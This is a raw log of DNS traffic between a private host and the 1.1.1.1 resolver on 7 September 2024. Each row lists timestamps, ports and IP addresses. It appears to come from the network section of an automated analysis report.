Sep 7, 2024 15:31:54.416961908 CEST	53	61175	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:54.522465944 CEST	52174	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:54.851217985 CEST	53	52174	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:54.853430986 CEST	57963	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:55.087137938 CEST	53	57963	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:55.178229094 CEST	49802	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:55.199234962 CEST	53	49802	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:55.302680016 CEST	61748	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:55.311789036 CEST	53	61748	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:55.313930035 CEST	59289	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:55.323441982 CEST	53	59289	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:55.412096024 CEST	62804	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:55.443917036 CEST	53	62804	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:55.445977926 CEST	62634	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:55.481065035 CEST	53	62634	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:55.584083080 CEST	64383	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:55.593431950 CEST	53	64383	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:55.596018076 CEST	62900	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:55.606024027 CEST	53	62900	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:55.709124088 CEST	53136	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:55.740889072 CEST	53	53136	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:55.745312929 CEST	61415	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:55.776927948 CEST	53	61415	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:55.887214899 CEST	51914	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:56.132062912 CEST	53	51914	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:56.134565115 CEST	58030	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:56.371119022 CEST	53	58030	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:56.458437920 CEST	54648	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:56.557214022 CEST	53	54648	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:56.559909105 CEST	52404	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:56.796751022 CEST	53	52404	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:56.895981073 CEST	59165	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:56.917501926 CEST	53	59165	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:57.022716045 CEST	54938	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:57.061196089 CEST	53	54938	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:57.063406944 CEST	51684	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:57.091746092 CEST	53	51684	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:57.177226067 CEST	50326	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:57.208570957 CEST	53	50326	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:57.217295885 CEST	50015	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:57.479801893 CEST	53	50015	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:57.570157051 CEST	59529	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:57.579190969 CEST	53	59529	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:57.592530966 CEST	61596	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:57.602077961 CEST	53	61596	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:57.608433008 CEST	63035	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:57.617804050 CEST	53	63035	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:57.709275961 CEST	58546	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:57.740005016 CEST	53	58546	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:57.849095106 CEST	54543	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:57.858913898 CEST	53	54543	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:57.862476110 CEST	60092	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:57.902623892 CEST	53	60092	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:58.001077890 CEST	50406	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:58.010734081 CEST	53	50406	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:58.115072012 CEST	50172	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:58.386842966 CEST	53	50172	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:58.389425993 CEST	51981	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:58.399297953 CEST	53	51981	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:58.489811897 CEST	57998	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:58.527606010 CEST	53	57998	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:58.631030083 CEST	59017	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:58.873877048 CEST	53	59017	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:58.882858038 CEST	53527	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:59.720135927 CEST	53	53527	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:59.817960978 CEST	63026	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:59.841738939 CEST	53	63026	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:59.844039917 CEST	53939	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:31:59.860305071 CEST	53	53939	1.1.1.1	192.168.2.7
Sep 7, 2024 15:31:59.958535910 CEST	61043	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:00.900233984 CEST	53	61043	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:00.902906895 CEST	56909	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:01.006475925 CEST	53	56909	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:01.104099035 CEST	63009	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:01.209270954 CEST	53	63009	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:01.211582899 CEST	59183	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:01.220297098 CEST	53	59183	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:01.317972898 CEST	52495	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:01.431912899 CEST	53	52495	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:01.434237003 CEST	53660	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:01.675050020 CEST	53	53660	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:01.777892113 CEST	51060	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:01.812489986 CEST	53	51060	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:01.820975065 CEST	57416	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:01.839155912 CEST	53	57416	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:01.931588888 CEST	52863	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:01.941668034 CEST	53	52863	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:01.946646929 CEST	58986	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:01.957331896 CEST	53	58986	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:02.064269066 CEST	53281	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:02.078121901 CEST	53	53281	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:02.178103924 CEST	50926	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:02.195544958 CEST	53	50926	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:02.302717924 CEST	57609	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:02.548580885 CEST	53	57609	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:02.552877903 CEST	61492	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:02.789365053 CEST	53	61492	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:02.882608891 CEST	52121	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:03.048141003 CEST	53	52121	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:03.058320045 CEST	58810	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:03.235824108 CEST	53	58810	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:03.318377972 CEST	64775	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:03.482402086 CEST	53	64775	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:03.485548019 CEST	62567	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:03.751668930 CEST	53	62567	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:03.852041960 CEST	59894	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:03.895741940 CEST	53	59894	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:03.899276018 CEST	58794	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:03.931014061 CEST	53	58794	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:04.021908998 CEST	58381	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:04.031809092 CEST	53	58381	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:04.036478043 CEST	53317	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:04.044708014 CEST	53	53317	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:04.130786896 CEST	64117	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:04.367221117 CEST	53	64117	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:04.376732111 CEST	50723	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:04.622698069 CEST	53	50723	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:04.708638906 CEST	59280	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:04.806647062 CEST	53	59280	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:04.810503960 CEST	60265	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:04.818738937 CEST	53	60265	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:04.911720991 CEST	54689	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:04.923551083 CEST	53	54689	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:04.936018944 CEST	59377	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:04.955363989 CEST	53	59377	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:04.958426952 CEST	53583	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:04.968039989 CEST	53	53583	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:05.053081036 CEST	54681	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:05.074726105 CEST	53	54681	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:05.077233076 CEST	62204	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:05.086749077 CEST	53	62204	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:05.179348946 CEST	61449	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:05.223416090 CEST	53	61449	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:05.234781027 CEST	53711	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:05.265000105 CEST	53	53711	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:05.349303961 CEST	51547	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:05.361155033 CEST	53	51547	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:05.363590956 CEST	51645	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:05.373198986 CEST	53	51645	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:05.458648920 CEST	63363	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:05.561491966 CEST	53	63363	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:05.564562082 CEST	54831	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:05.806087971 CEST	53	54831	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:05.898689985 CEST	54521	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:06.138926029 CEST	53	54521	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:06.143187046 CEST	63754	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:06.239047050 CEST	53	63754	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:06.333518028 CEST	52388	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:06.354748964 CEST	53	52388	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:06.458579063 CEST	65000	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:06.467127085 CEST	53	65000	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:06.471499920 CEST	59049	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:06.481641054 CEST	53	59049	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:06.568011045 CEST	64743	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:06.598078966 CEST	53	64743	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:06.609261036 CEST	56640	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:06.638823986 CEST	53	56640	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:06.724244118 CEST	63096	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:06.826462030 CEST	53	63096	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:06.829091072 CEST	57436	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:06.931291103 CEST	53	57436	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:07.021059990 CEST	49833	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:07.302297115 CEST	49833	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:07.865001917 CEST	53	49833	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:07.865243912 CEST	53	49833	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:07.879513979 CEST	50866	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:07.975577116 CEST	53	50866	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:08.069860935 CEST	64794	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:08.104839087 CEST	53	64794	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:08.107822895 CEST	65413	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:08.154211044 CEST	53	65413	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:08.242364883 CEST	60928	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:08.265775919 CEST	53	60928	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:08.280904055 CEST	50095	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:08.292057037 CEST	53	50095	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:08.381234884 CEST	57436	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:08.419547081 CEST	53	57436	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:08.421967983 CEST	57167	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:08.455075979 CEST	53	57167	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:08.536567926 CEST	56659	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:08.563321114 CEST	53	56659	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:08.679310083 CEST	56238	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:08.953084946 CEST	53	56238	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:08.957395077 CEST	50605	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:09.224832058 CEST	50605	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:09.230818987 CEST	53	50605	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:09.234078884 CEST	53	50605	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:09.324887991 CEST	61940	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:09.333446026 CEST	53	61940	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:09.353442907 CEST	56904	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:09.399985075 CEST	53	56904	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:09.491209030 CEST	57277	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:09.726914883 CEST	53	57277	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:09.752818108 CEST	52020	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:09.992676973 CEST	53	52020	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:10.086380959 CEST	64332	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:10.370208979 CEST	64332	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:10.421155930 CEST	53	64332	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:10.421176910 CEST	53	64332	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:10.435045004 CEST	59689	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:10.532794952 CEST	53	59689	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:10.615710020 CEST	55984	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:10.651937962 CEST	53	55984	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:10.655101061 CEST	53249	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:10.683523893 CEST	53	53249	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:10.775405884 CEST	62282	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:10.879194021 CEST	53	62282	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:10.882704020 CEST	62692	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:11.121184111 CEST	53	62692	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:11.209029913 CEST	62110	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:11.221256971 CEST	53	62110	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:11.227902889 CEST	52084	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:11.239382982 CEST	53	52084	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:11.338505983 CEST	57527	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:11.348918915 CEST	53	57527	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:11.362579107 CEST	58870	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:11.374533892 CEST	53	58870	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:11.461575031 CEST	55199	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:11.564791918 CEST	53	55199	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:11.567387104 CEST	63070	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:11.668251038 CEST	53	63070	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:11.757838011 CEST	62843	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:11.855570078 CEST	53	62843	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:11.858477116 CEST	61773	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:12.096509933 CEST	53	61773	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:12.177642107 CEST	63845	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:12.274313927 CEST	53	63845	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:12.277285099 CEST	51418	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:12.553266048 CEST	51418	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:13.104125023 CEST	53	51418	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:13.104149103 CEST	53	51418	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:13.194745064 CEST	55534	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:13.204972029 CEST	53	55534	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:13.212872028 CEST	58853	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:13.222315073 CEST	53	58853	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:13.302428961 CEST	55782	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:13.337485075 CEST	53	55782	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:13.340224028 CEST	54297	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:13.614662886 CEST	54297	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:13.615317106 CEST	53	54297	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:13.621634007 CEST	53	54297	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:13.693217039 CEST	61463	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:13.935642004 CEST	53	61463	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:13.938810110 CEST	58901	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:14.044895887 CEST	53	58901	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:14.131675005 CEST	57705	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:14.140163898 CEST	53	57705	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:14.152679920 CEST	55470	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:14.167586088 CEST	53	55470	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:14.320555925 CEST	53117	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:14.331517935 CEST	53	53117	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:14.360402107 CEST	51843	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:14.367932081 CEST	53	51843	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:14.375790119 CEST	63564	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:14.385059118 CEST	53	63564	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:14.478463888 CEST	56626	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:14.755181074 CEST	56626	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:14.764873981 CEST	53	56626	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:14.764993906 CEST	53	56626	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:14.767309904 CEST	56750	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:14.812571049 CEST	53	56750	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:14.896675110 CEST	63425	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:14.908864021 CEST	53	63425	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:14.919064999 CEST	59531	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:14.928296089 CEST	53	59531	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:15.007492065 CEST	53252	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:15.023356915 CEST	53	53252	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:15.149096012 CEST	63878	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:15.175426006 CEST	53	63878	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:15.187988997 CEST	58443	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:15.458436966 CEST	58443	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:15.550735950 CEST	53	58443	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:15.550808907 CEST	53	58443	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:15.631736994 CEST	60717	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:15.911326885 CEST	60717	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:15.930869102 CEST	53	60717	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:16.467225075 CEST	53	60717	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:16.647557020 CEST	60665	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:16.927582979 CEST	60665	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:17.910557985 CEST	53	60665	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:17.910577059 CEST	53	60665	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:17.989747047 CEST	55429	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:17.999418020 CEST	53	55429	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:18.099421978 CEST	64288	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:18.342639923 CEST	53	64288	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:18.345865011 CEST	53927	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:18.615101099 CEST	53927	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:19.186152935 CEST	53	53927	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:19.188476086 CEST	53	53927	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:19.275636911 CEST	53570	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:19.552567959 CEST	53570	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:19.566806078 CEST	53	53570	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:19.614640951 CEST	53	53570	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:20.301403999 CEST	58721	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:20.403997898 CEST	53	58721	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:20.507289886 CEST	64366	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:20.782289028 CEST	53	64366	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:20.784843922 CEST	53175	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:20.821070910 CEST	53	53175	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:20.896138906 CEST	57415	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:21.147892952 CEST	53	57415	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:21.150454044 CEST	54736	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:21.316421032 CEST	53	54736	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:21.396418095 CEST	61463	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:21.407270908 CEST	53	61463	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:21.412496090 CEST	56974	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:21.421730042 CEST	53	56974	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:21.505464077 CEST	52651	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:21.518335104 CEST	53	52651	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:21.524616003 CEST	50424	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:21.560848951 CEST	53	50424	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:21.648669958 CEST	54108	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:21.669743061 CEST	53	54108	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:21.683273077 CEST	55496	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:21.705533981 CEST	53	55496	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:21.718945026 CEST	53489	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:21.741225958 CEST	53	53489	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:21.818273067 CEST	60316	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:21.922122955 CEST	53	60316	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:21.925714016 CEST	53587	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:22.031800985 CEST	53	53587	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:22.115148067 CEST	53373	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:22.152739048 CEST	53	53373	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:22.255650997 CEST	50072	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:22.265516996 CEST	53	50072	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:22.268322945 CEST	60196	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:22.285092115 CEST	53	60196	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:22.364945889 CEST	64421	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:22.649514914 CEST	64421	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:22.919117928 CEST	53	64421	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:22.926279068 CEST	56623	53	192.168.2.7	1.1.1.1
Sep 7, 2024 15:32:22.928088903 CEST	53	64421	1.1.1.1	192.168.2.7
Sep 7, 2024 15:32:22.960328102 CEST	53	56623	1.1.1.1	192.168.2.7
